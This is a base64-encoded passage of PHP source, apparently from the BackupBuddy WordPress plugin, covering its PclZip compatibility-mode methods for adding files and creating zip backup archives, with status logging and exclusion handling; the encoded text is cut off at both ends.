ZCB0byBmb3JjZSB0aGUgcGNsemlwIGxpYnJhcnkgdG8gbG9hZCBhdCB0aGlzIHBvaW50IGlmIGl0IGlzCgkJCS8vIG5vdCBhbHJlYWR5IGxvYWRlZCBzbyB0aGF0IHdlIGNhbiB1c2UgZGVmaW5lZCBjb25zdGFudHMgaXQgY3JlYXRlcwoJCQkvLyBidXQgd2UgZG9uJ3QgYWN0dWFsbHkgd2FudCB0byBjcmVhdGUgYSB6aXAgYXJjaGl2ZSBhdCB0aGlzIHBvaW50LgoJCQkvLyBXZSBjYW4gYWxzbyB1c2UgdGhpcyBhcyBhbiBlYXJseSB0ZXN0IG9mIGJlaW5nIGFibGUgdG8gdXNlIHRoZSBsaWJyYXJ5CgkJCS8vIGFzIGFuIGV4Y2VwdGlvbiB3aWxsIGJlIHJhaXNlZCBpZiB0aGUgY2xhc3MgZG9lcyBub3QgZXhpc3QuCgkJCS8vIE5vdGUgdGhhdCB0aGlzIGlzIG9ubHkgcmVhbGx5IHJlcXVpcmVkIHdoZW4gemlwIG1ldGhvZCBjYWNoaW5nIGlzCgkJCS8vIGluIHVzZSwgaWYgdGhpcyBpcyBkaXNhYmxlZCB0aGVuIHRoZSBsaWJyYXJ5IHdvdWxkIGFscmVhZHkgaGF2ZSBiZWVuCgkJCS8vIGxvYWRlZCBieSB0aGUgbWV0aG9kIHRlc3RpbmcuCQkJCgkJCXRyeSB7CgkJCQkKCQkJCS8vIFNlbGVjdCB0byBqdXN0IGxvYWQgdGhlIHBjbHppcCBsaWJyYXJ5IG9ubHkgYW5kIHRlbGwgaXQgdGhlCgkJCQkvLyB0ZW1wb3JhcnkgZGlyZWN0b3J5IHRvIHVzZSBpZiByZXF1aXJlZCAodGhpcyBpcyBvbmx5IHBvc3NpYmxlCgkJCQkvLyBpZiBpdCBoYXNuJ3QgYWxyZWFkeSBiZWVuIGxvYWRlZCBhbmQgdGhlIHRlbXAgZGlyIGRlZmluZWQpCgkJCQkkemEgPSBuZXcgcGx1Z2luYnVkZHlfUGNsWmlwKCAiIiwgdHJ1ZSwgJHRlbXBkaXIgKTsKCQkJCQoJCQkJLy8gV2UgaGF2ZSBubyBwdXJwb3NlIGZvciB0aGlzIG9iamVjdCBhbnkgbG9uZ2VyLCB0aGUgbGlicmFyeQoJCQkJLy8gd2lsbCByZW1haW4gbG9hZGVkCgkJCQl1bnNldCggJHphICk7CgkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCgkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB0aGUgbWV0aG9kcyBpbmRpY2F0ZWQgcGNsemlwIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXAgcHJvY2VzcyByZXBvcnRlZDogcGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkKCQkJfQoKCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkKCQkJCS8vIFNvIHdlIGtub3cgd2UgY2FuIGNvbnRpbnVlIHNvIGxldHMgc2V0IHVwIHRvIGRvIHRoZSBhY3Rpb24KCQkJCQoJCQkJLy8gTWFwIHRoZSBpbmNvbWluZyB2aXJ0dWFsIGZpbGUgZGVzY3JpcHRvciBmb3JtYXQgdG8gdGhhdCByZXF1aXJlZCBieSB0aGUgbWV0aG9kCgkJCQlmb3JlYWNoICggJHZpcnR1YWxfZmlsZV9kZXNjcmlwdG9yIGFzICR2aXJ0dWFsX2ZpbGUgKSB7CgkJCQkKCQkJCQkkdmlydHVhbF9maWxlX2xpc3RbXSA9IGFycmF5KCBQQ0xaSVBfQVRUX0ZJTEVfTkFNRSA9PiAkdmlydHVhbF9maWxlWyAnZmlsZW5hbWUnIF0sCgkJCQkJCQkJCQkJCSAgUENMWklQX0FUVF9GSUxFX0NPTlRFTlQgPT4gJHZpcnR1YWxfZmlsZVsgJ2NvbnRlbnQnIF0gKTsKCQkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gR2V0IHN0YXJ0ZWQgd2l0aCBvdXQgemlwIG9iamVjdAoJCQkJJHRlbXBfemlwID0gJHppcDsKCQkJCgkJCQkvLyBUaGlzIHNob3VsZCBnaXZlIHVzIGEgbmV3IGFyY2hpdmUgb2JqZWN0LCBvZiBub3QgY2F0Y2ggaXQgYW5kIGJhaWwgb3V0CgkJCQl0cnkgewoJCQkJCQoJCQkJCSR6YSA9IG5ldyBwbHVnaW5idWRkeV9QY2xaaXAoICR0ZW1wX3ppcCApOwoJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkKCQkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB0aGUgbWV0aG9kcyBpbmRpY2F0ZWQgcGNsemlwIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJCSRlcnJvcl9zdHJpbmcgPSAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3BjbHppcCBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgZXJyb3IgcmVwb3J0ZWQ6ICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkZXJyb3Jfc3RyaW5nICkgKTsKCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJCX0KCQkJCgkJCQkvLyBPbmx5IGNvbnRpbnVlIGlmIHdlIGhhdmUgYSB2YWxpZCBhcmNoaXZlIG9iamVjdAoJCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCgkJCQkJLy8gQmFzaWMgYXJndW1lbnQgbGlzdAoJCQkJCSRhcmd1bWVudHMgPSBhcnJheSgpOwoJCQkJCWFycmF5X3B1c2goICRhcmd1bWVudHMsICR2aXJ0dWFsX2ZpbGVfbGlzdCApOwoKCQkJCQkkY29tbWFuZCA9ICdncm93JzsKCQkJCQkkb3V0cHV0ID0gY2FsbF91c2VyX2Z1bmNfYXJyYXkoIGFycmF5KCAmJHphLCAkY29tbWFuZCApLCAkYXJndW1lbnRzICk7CgkJCQkJCgkJCQkJaWYgKCBpc19hcnJheSggJG91dHB1dCApICkgewoJCQkJCQoJCQkJCQkvLyBBcnJheSByZXR1cm4gaW1wbGllcyBmaWxlcyB3ZSBhZGRlZCAtIGZvciBub3cgd2UnbGwgbm90IGFjdHVhbGx5IGNoZWNrIGZvciBwcm9ibGVtcwoJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCQkKCQkJCQl9CgoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJICAJaWYgKCBOVUxMICE9ICR6YSApIHsgdW5zZXQoICR6YSApOyB9CgkJICAJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkJCQkKCQl9CgoJCQoJCS8qKgoJCSAqCWNyZWF0ZSgpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IGNyZWF0ZXMgYW4gYXJjaGl2ZSBmaWxlCgkJICoJCgkJICoJVGhlICRleGNsdWRlcyB3aWxsIGJlIGEgbGlzdCBvciByZWxhdGl2ZSBwYXRoIGV4Y2x1ZGVzIGlmIHRoZSAkbGlzdG1ha2VyIG9iamVjdCBpcyBOVUxMIG90ZWhyd2lzZQoJCSAqCXdpbGwgYmUgYWJzb2x1dGUgcGF0aCBleGNsdWRlcyBhbmQgcmVsYXRpdmUgcGF0aCBleGNsdWRlcyBjYW4gYmUgaGFkIGZyb20gdGhlICRsaXN0bWFrZXIgb2JqZWN0CgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHppcAkJCUZ1bGwgcGF0aCAmIGZpbGVuYW1lIG9mIFpJUCBBcmNoaXZlIGZpbGUgdG8gY3JlYXRlCgkJICoJQHBhcmFtCQlzdHJpbmcJJGRpcgkJCUZ1bGwgcGF0aCBvZiBkaXJlY3RvcnkgdG8gYWRkIHRvIFpJUCBBcmNoaXZlIGZpbGUKCQkgKglAcGFyYW1lCQlhcnJheQkkZXhjbHVkZXMJCUxpc3Qgb2YgZWl0aGVyIGFic29sdXRlIHBhdGggZXhjbHVzaW9ucyBvciByZWxhdGl2ZSBleGNsdXNpb25zCgkJICoJQHBhcmFtCQlzdHJpbmcJJHRlbXBkaXIJCUZ1bGwgcGF0aCBvZiBkaXJlY3RvcnkgZm9yIHRlbXBvcmFyeSB1c2FnZQoJCSAqCUBwYXJhbQkJb2JqZWN0CSRsaXN0bWFrZXIJCVRoZSBvYmplY3QgZnJvbSB3aGljaCB3ZSBjYW4gZ2V0IGFuIGluY2x1c2lvbnMgbGlzdAoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCVRydWUgaWYgdGhlIGNyZWF0aW9uIHdhcyBzdWNjZXNzZnVsLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoICR6aXAsICRkaXIsICRleGNsdWRlcywgJHRlbXBkaXIsICRsaXN0bWFrZXIgPSBOVUxMICkgewoJCQoJCQkkemEgPSBOVUxMOwoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSRleGl0Y29kZSA9IDA7CgkJCSR6aXBfb3V0cHV0ID0gYXJyYXkoKTsKCQkJJHRlbXBfemlwID0gJyc7CgkJCSRleGNsdWRpbmdfYWRkaXRpb25hbCA9IGZhbHNlOwoJCQkkZXhjbHVkZV9jb3VudCA9IDA7CgkJCSRleGNsdXNpb25zID0gYXJyYXkoKTsKCQkJJHRlbXBfZmlsZV9jb21wcmVzc2lvbl90aHJlc2hvbGQgPSA1OwoJCQkkcHJlX2FkZF9mdW5jID0gJyc7CgkJCSRoYXZlX3ppcF9lcnJvcnMgPSBmYWxzZTsKCQkJJHppcF9lcnJvcnNfY291bnQgPSAwOwoJCQkkemlwX2Vycm9ycyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF93YXJuaW5ncyA9IGZhbHNlOwoJCQkkemlwX3dhcm5pbmdzX2NvdW50ID0gMDsKCQkJJHppcF93YXJuaW5ncyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF9hZGRpdGlvbnMgPSBmYWxzZTsKCQkJJHppcF9hZGRpdGlvbnNfY291bnQgPSAwOwoJCQkkemlwX2FkZGl0aW9ucyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF9kZWJ1ZyA9IGZhbHNlOwoJCQkkemlwX2RlYnVnX2NvdW50ID0gMDsKCQkJJHppcF9kZWJ1ZyA9IGFycmF5KCk7CgkJCSRoYXZlX3ppcF9vdGhlciA9IGZhbHNlOwoJCQkkemlwX290aGVyX2NvdW50ID0gMDsKCQkJJHppcF9vdGhlciA9IGFycmF5KCk7CgkJCSR6aXBfaWdub3Jpbmdfc3ltbGlua3MgPSBmYWxzZTsKCQkJJHN5bWxpbmtzX2ZvdW5kID0gYXJyYXkoKTsKCQkJCgkJCS8vIFRoZSBiYXNlZGlyIG11c3QgaGF2ZSBhIHRyYWlsaW5nIG5vcm1hbGl6ZWQgZGlyZWN0b3J5IHNlcGFyYXRvcgoJCQkkYmFzZWRpciA9ICggcnRyaW0oIHRyaW0oICRkaXIgKSwgc2VsZjo6RElSRUNUT1JZX1NFUEFSQVRPUlMgKSApIC4gc2VsZjo6Tk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCQoJCQkvLyBOb3JtYWxpemUgcGxhdGZvcm0gc3BlY2lmaWMgZGlyZWN0b3J5IHNlcGFyYXRvcnMgaW4gcGF0aAoJCQkkYmFzZWRpciA9IHN0cl9yZXBsYWNlKCBESVJFQ1RPUllfU0VQQVJBVE9SLCBzZWxmOjpOT1JNX0RJUkVDVE9SWV9TRVBBUkFUT1IsICRiYXNlZGlyICk7CgkJCQoJCQkvLyBFbnN1cmUgbm8gc3RhbGUgZmlsZSBpbmZvcm1hdGlvbgoJCQljbGVhcnN0YXRjYWNoZSgpOwoJCQkKCQkJLy8gTm90ZTogY291bGQgZW5mb3JjZSB0cmFpbGluZyBkaXJlY3Rvcnkgc2VwYXJhdG9yIGZvciByb2J1c3RuZXNzCgkJCWlmICggZW1wdHkoICR0ZW1wZGlyICkgfHwgIWZpbGVfZXhpc3RzKCAkdGVtcGRpciApICkgewoJCQkKCQkJCS8vIFRoaXMgYnJlYWtzIHRoZSBydWxlIG9mIHNpbmdsZSBwb2ludCBvZiBleGl0IChhdCBlbmQpIGJ1dCBpdCdzIGVhcmx5IGVub3VnaCB0byBub3QgYmUgYSBwcm9ibGVtCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUZW1wb3Jhcnkgd29ya2luZyBkaXJlY3RvcnkgbXVzdCBiZSBhdmFpbGFibGUuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwkJCQkKCQkJCXJldHVybiBmYWxzZTsKCQkJCQoJCQl9CgkJCQoJCQkvLyBMb2cgdGhlIHRlbXBvcmFyeSB3b3JraW5nIGRpcmVjdG9yeSBzbyB3ZSBtaWdodCBiZSBhYmxlIHRvIHNwb3QgcHJvYmxlbXMKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnWmlwIHByb2Nlc3MgcmVwb3J0ZWQ6IFRlbXBvcmFyeSB3b3JraW5nIGRpcmVjdG9yeSBhdmFpbGFibGU6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnYCcgLiAkdGVtcGRpciAuICdgJyApOwkJCQkKCQkJCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgX18oJ1VzaW5nIENvbXBhdGliaWxpdHkgTW9kZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgX18oJ0lmIHlvdXIgYmFja3VwIHRpbWVzIG91dCBpbiBDb21wYXRpYmlsaXR5IE1vZGUgdHJ5IGRpc2FibGluZyB6aXAgY29tcHJlc3Npb24gaW4gU2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkKCQkJLy8gV2UgbmVlZCB0byBmb3JjZSB0aGUgcGNsemlwIGxpYnJhcnkgdG8gbG9hZCBhdCB0aGlzIHBvaW50IGlmIGl0IGlzCgkJCS8vIG5vdCBhbHJlYWR5IGxvYWRlZCBzbyB0aGF0IHdlIGNhbiB1c2UgZGVmaW5lZCBjb25zdGFudHMgaXQgY3JlYXRlcwoJCQkvLyBidXQgd2UgZG9uJ3QgYWN0dWFsbHkgd2FudCB0byBjcmVhdGUgYSB6aXAgYXJjaGl2ZSBhdCB0aGlzIHBvaW50LgoJCQkvLyBXZSBjYW4gYWxzbyB1c2UgdGhpcyBhcyBhbiBlYXJseSB0ZXN0IG9mIGJlaW5nIGFibGUgdG8gdXNlIHRoZSBsaWJyYXJ5CgkJCS8vIGFzIGFuIGV4Y2VwdGlvbiB3aWxsIGJlIHJhaXNlZCBpZiB0aGUgY2xhc3MgZG9lcyBub3QgZXhpc3QuCgkJCS8vIE5vdGUgdGhhdCB0aGlzIGlzIG9ubHkgcmVhbGx5IHJlcXVpcmVkIHdoZW4gemlwIG1ldGhvZCBjYWNoaW5nIGlzCgkJCS8vIGluIHVzZSwgaWYgdGhpcyBpcyBkaXNhYmxlZCB0aGVuIHRoZSBsaWJyYXJ5IHdvdWxkIGFscmVhZHkgaGF2ZSBiZWVuCgkJCS8vIGxvYWRlZCBieSB0aGUgbWV0aG9kIHRlc3RpbmcuCQkJCgkJCXRyeSB7CgkJCQkKCQkJCS8vIFNlbGVjdCB0byBqdXN0IGxvYWQgdGhlIHBjbHppcCBsaWJyYXJ5IG9ubHkgYW5kIHRlbGwgaXQgdGhlCgkJCQkvLyB0ZW1wb3JhcnkgZGlyZWN0b3J5IHRvIHVzZSBpZiByZXF1aXJlZCAodGhpcyBpcyBvbmx5IHBvc3NpYmxlCgkJCQkvLyBpZiBpdCBoYXNuJ3QgYWxyZWFkeSBiZWVuIGxvYWRlZCBhbmQgdGhlIHRlbXAgZGlyIGRlZmluZWQpCgkJCQkkemEgPSBuZXcgcGx1Z2luYnVkZHlfUGNsWmlwKCAiIiwgdHJ1ZSwgJHRlbXBkaXIgKTsKCQkJCQoJCQkJLy8gV2UgaGF2ZSBubyBwdXJwb3NlIGZvciB0aGlzIG9iamVjdCBhbnkgbG9uZ2VyLCB0aGUgbGlicmFyeQoJCQkJLy8gd2lsbCByZW1haW4gbG9hZGVkCgkJCQl1bnNldCggJHphICk7CgkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCgkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB0aGUgbWV0aG9kcyBpbmRpY2F0ZWQgcGNsemlwIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXAgcHJvY2VzcyByZXBvcnRlZDogcGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkKCQkJfQoJCQkKCQkJLy8gT25seSBjb250aW51ZSBpZiBwY2x6aXAgaXMgYWN0dWFsbHkgYXZhaWxhYmxlCgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCgkJCQkvLyBEZWNpZGUgd2hldGhlciB3ZSBhcmUgb2ZmZXJpbmcgZXhjbHVzaW9ucyBvciBub3QKCQkJCS8vIE5vdGUgdGhhdCB1bmxpa2UgcHJvYyBhbmQgemlwIHdlIGFsd2F5cyB1c2UgaW5jbHVzaW9uIGlmIGF2YWlsYWJsZSB0byBvZmZlciBleGNsdXNpb24gY2FwYWJpbGl0eSBmb3IgcGNsemlwCgkJCQlpZiAoIGlzX29iamVjdCggJGxpc3RtYWtlciApICkgewoJCQkJCgkJCQkJLy8gTmVlZCB0byBnZXQgdGhlIHJlbGF0aXZlIGV4Y2x1c2lvbnMgc28gd2UgY2FuIGxvZyB3aGF0IGlzIGJlaW5nIGV4Y2x1ZGVkLi4uCgkJCQkJJGV4Y2x1c2lvbnMgPSAkbGlzdG1ha2VyLT5nZXRfcmVsYXRpdmVfZXhjbHVkZXMoICRiYXNlZGlyICk7CgkJCQkKCQkJCQkvLyBCdWlsZCB0aGUgZXhjbHVzaW9uIGxpc3QgLSBmaXJzdCB0aGUgcmVsYXRpdmUgZGlyZWN0b3JpZXMKCQkJCQlpZiAoIGNvdW50KCAkZXhjbHVzaW9ucyApID4gMCApIHsKCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdDYWxjdWxhdGluZyBkaXJlY3Rvcmllcy9maWxlcyB0byBleGNsdWRlIGZyb20gYmFja3VwIChyZWxhdGl2ZSB0byBzaXRlIHJvb3QpLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkKCQkJCQkJZm9yZWFjaCAoICRleGNsdXNpb25zIGFzICRleGNsdWRlICkgewoJCQkJCQoJCQkJCQkJaWYgKCAhc3Ryc3RyKCAkZXhjbHVkZSwgJ2JhY2t1cGJ1ZGR5X2JhY2t1cHMnICkgKSB7CgkKCQkJCQkJCQkvLyBTZXQgdmFyaWFibGUgdG8gc2hvdyB3ZSBhcmUgZXhjbHVkaW5nIGFkZGl0aW9uYWwgZGlyZWN0b3JpZXMgYmVzaWRlcyBiYWNrdXAgZGlyLgoJCQkJCQkJCSRleGNsdWRpbmdfYWRkaXRpb25hbCA9IHRydWU7CgkJCQkJCQkJCgkJCQkJCQl9CgkJCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0V4Y2x1ZGluZycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGV4Y2x1ZGUgKTsKCQkJCQkJCgkJCQkJCQkkZXhjbHVkZV9jb3VudCsrOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkKCQkJCQl9CgkJCQkKCQkJCQoJCQkJCWlmICggdHJ1ZSA9PT0gJGV4Y2x1ZGluZ19hZGRpdGlvbmFsICkgewoJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgX18oICdFeGNsdWRpbmcgYXJjaGl2ZXMgZGlyZWN0b3J5IGFuZCBhZGRpdGlvbmFsIGRpcmVjdG9yaWVzIGRlZmluZWQgaW4gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgJyAuICRleGNsdWRlX2NvdW50IC4gJyAnIC4gX18oICd0b3RhbCcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnLicgKTsKCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgX18oICdPbmx5IGV4Y2x1ZGluZyBhcmNoaXZlcyBkaXJlY3RvcnkgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgJyAuICRleGNsdWRlX2NvdW50IC4gJyAnIC4gX18oICd0b3RhbCcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnLicgKTsKCQkJCQkKCQkJCQl9CgkJCQkKCQkJCQkvLyBOb3cgZ2V0IHRoZSBsaXN0IGZyb20gdGhlIHRvcCBub2RlCgkJCQkJJHRoZV9saXN0ID0gJGxpc3RtYWtlci0+Z2V0X3Rlcm1pbmFscygpOwoJCQkJCgkJCQkJLy8gUmV0YWluIHRoaXMgZm9yIHJlZmVyZW5jZSBmb3Igbm93CgkJCQkJLy9maWxlX3B1dF9jb250ZW50cyggKCBkaXJuYW1lKCAkdGVtcGRpciApIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIHNlbGY6OlpJUF9DT05URU5UX0ZJTEVfTkFNRSApLCBwcmludF9yKCAkdGhlX2xpc3QsIHRydWUgKSApOwoJCQkKCQkJCX0gZWxzZSB7CgkJCgkJCQkJLy8gV2UgZG9uJ3QgaGF2ZSB0aGUgaW5jbHVzaW9uIGxpc3Qgc28gd2UgYXJlIG5vdCBvZmZlcmluZyBleGNsdXNpb25zCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXygnV0FSTklORzogRGlyZWN0b3J5L2ZpbGUgZXhjbHVzaW9uIHVuYXZhaWxhYmxlIGluIENvbXBhdGliaWxpdHkgTW9kZS4gRXZlbiBleGlzdGluZyBvbGQgYmFja3VwcyB3aWxsIGJlIGJhY2tlZCB1cC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJJHRoZV9saXN0ID0gYXJyYXkoICRkaXIgKTsKCQkJCgkJCQl9CgkJCgkJCQkvLyBHZXQgc3RhcnRlZCB3aXRoIG91dCB6aXAgb2JqZWN0CgkJCQkvLyBQdXQgb3VyIGZpbmFsIHppcCBmaWxlIGluIHRoZSB0ZW1wb3JhcnkgZGlyZWN0b3J5IC0gaXQgd2lsbCBiZSBtb3ZlZCBsYXRlcgoJCQkJJHRlbXBfemlwID0gJHRlbXBkaXIgLiBiYXNlbmFtZSggJHppcCApOwoJCQkKCQkJCS8vIFRoaXMgc2hvdWxkIGdpdmUgdXMgYSBuZXcgYXJjaGl2ZSBvYmplY3QsIG9mIG5vdCBjYXRjaCBpdCBhbmQgYmFpbCBvdXQKCQkJCXRyeSB7CgkJCQkJCgkJCQkJJHphID0gbmV3IHBsdWdpbmJ1ZGR5X1BjbFppcCggJHRlbXBfemlwICk7CgkJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQkKCQkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQoJCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCBwY2x6aXAgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygncGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQoJCQkJfQoJCQkKCQkJCS8vIE9ubHkgY29udGludWUgaWYgd2UgaGF2ZSBhIHZhbGlkIGFyY2hpdmUgb2JqZWN0CgkJCQlpZiAoIHRydWUgPT09ICRyZXN1bHQgKSB7CgkJCQoJCQkJCS8vIEJhc2ljIGFyZ3VtZW50IGxpc3QKCQkJCQkkYXJndW1lbnRzID0gYXJyYXkoKTsKCQkJCQlhcnJheV9wdXNoKCAkYXJndW1lbnRzLCAkdGhlX2xpc3QgKTsKCQkJCQlhcnJheV9wdXNoKCAkYXJndW1lbnRzLCBQQ0xaSVBfT1BUX1JFTU9WRV9QQVRILCAkZGlyICk7CQkJCQoKCQkJCQlpZiAoIHRydWUgIT09ICR0aGlzLT5nZXRfY29tcHJlc3Npb24oKSApIHsKCQkJCQoJCQkJCQkvLyBOb3RlOiBkb24ndCBuZWVkIHRvIGZvcmNlIHVzZSBvZiB0ZW1wb3JhcnkgZmlsZXMgZm9yIGNvbXByZXNzaW9uCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIGNvbXByZXNzaW9uIGRpc2FibGVkIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJYXJyYXlfcHVzaCggJGFyZ3VtZW50cywgUENMWklQX09QVF9OT19DT01QUkVTU0lPTiApOwoJCQkJCQoJCQkJCX0gZWxzZSB7CgkKCQkJCQkJLy8gTm90ZTogZm9yY2UgdGhlIHVzZSBvZiB0ZW1wb3JhcnkgZmlsZXMgZm9yIGNvbXByZXNzaW9uIHdoZW4gZmlsZSBzaXplIGV4Y2VlZHMgZ2l2ZW4gdmFsdWUuCgkJCQkJCS8vIFRoaXMgb3Zlci1yaWRlcyB0aGUgImF1dG8tc2Vuc2UiIHdoaWNoIGlzIGJhc2VkIG9uIG1lbW9yeV9saW1pdCBhbmQgdGhpcyBfbWF5XyBpbmRpY2F0ZSBhCgkJCQkJCS8vIG1lbW9yeSBhdmFpbGFiaWxpdHkgdGhhdCBpcyBoaWdoZXIgdGhhbiByZWFsaXR5IGxlYWRpbmcgdG8gbWVtb3J5IGFsbG9jYXRpb24gZmFpbHVyZSBpZgoJCQkJCQkvLyB0cnlpbmcgdG8gY29tcHJlc3MgbGFyZ2UgZmlsZXMuIFNldCB0aGUgdGhyZXNob2xkIGxvdyBlbm91Z2ggKHNwZWNpZnkgaW4gTUIpIHNvIHRoYXQgZXhjZXB0IGluCgkJCQkJCS8vIFRoZSB0aWdodGVzdCBtZW1vcnkgc2l0dWF0aW9ucyB3ZSBzaG91bGQgYmUgb2suIENvdWxkIGhhdmUgb3B0aW9uIHRvIGZvcmNlIHVzZSBvZiB0ZW1wb3JhcnkKCQkJCQkJLy8gZmlsZXMgcmVnYXJkbGVzcy4KCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnWmlwIGFyY2hpdmUgY3JlYXRpb24gY29tcHJlc3Npb24gZW5hYmxlZCBiYXNlZCBvbiBzZXR0aW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCWFycmF5X3B1c2goICRhcmd1bWVudHMsIFBDTFpJUF9PUFRfVEVNUF9GSUxFX1RIUkVTSE9MRCwgJHRlbXBfZmlsZV9jb21wcmVzc2lvbl90aHJlc2hvbGQgKTsKCQkJCQkJCgkJCQkJfQoJCQkJCgkJCQkJLy8gQ2hlY2sgaWYgaWdub3JpbmcgKG5vdCBmb2xsb3dpbmcpIHN5bWxpbmtzCgkJCQkJaWYgKCB0cnVlID09PSAkdGhpcy0+Z